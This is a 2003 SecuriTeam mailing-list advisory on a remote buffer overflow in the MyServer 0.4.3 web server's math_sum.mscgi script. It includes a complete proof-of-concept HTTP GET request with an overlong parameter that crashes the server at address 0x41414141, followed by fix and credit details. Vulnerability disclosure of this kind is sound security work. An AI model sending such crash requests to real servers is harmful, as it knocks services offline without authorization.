[NEWS] MyServer Buffer Overflow Vulnerability (math_sum.mscgi)

From: SecuriTeam (support_at_securiteam.com)
Date: 09/14/03

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    To: list@securiteam.com
Date: 14 Sep 2003 18:34:40 +0200

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      MyServer Buffer Overflow Vulnerability (math_sum.mscgi)
    ------------------------------------------------------------------------

    SUMMARY

     <http://myserverweb.sourceforge.net/forum/portal.php> MyServer is a free
    and easy to configure web server". A buffer overflow allows remote
    attacker to invoke malicious code by submitting a request containing
    excessive data.

    DETAILS

    Vulnerable systems:
     * MyServer version 0.4.3 and prior

    Exploit:
    Sending the following to the web server will cause the server to crash
    while trying to execute the memory content at address 0x41414141

    GET
    /cgi-bin/math_sum.mscgi?a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, */*
    Accept-Language: en-us
    Accept-Encoding: gzip, deflate
    User-Agent: Moozatech (compatible; Moozatech Scanner)
    Host: 12.12.12.12
    Connection: Keep-Alive

    Fix:
    The author has confirmed this bug and temporary fix is available through
    MyServer cvs repository at: <http://myserverweb.sourceforge.net/cvs.php>
    http://myserverweb.sourceforge.net/cvs.php. Complete patch will be
    available in the next upcoming release of MyServer.

    ADDITIONAL INFORMATION

    The original advisory can be downloaded from:
    <http://www.moozatech.com/mt-12-09-2003.txt>
    http://www.moozatech.com/mt-12-09-2003.txt.

    The information has been provided by <mailto:moran@moozatech.com> Moran.

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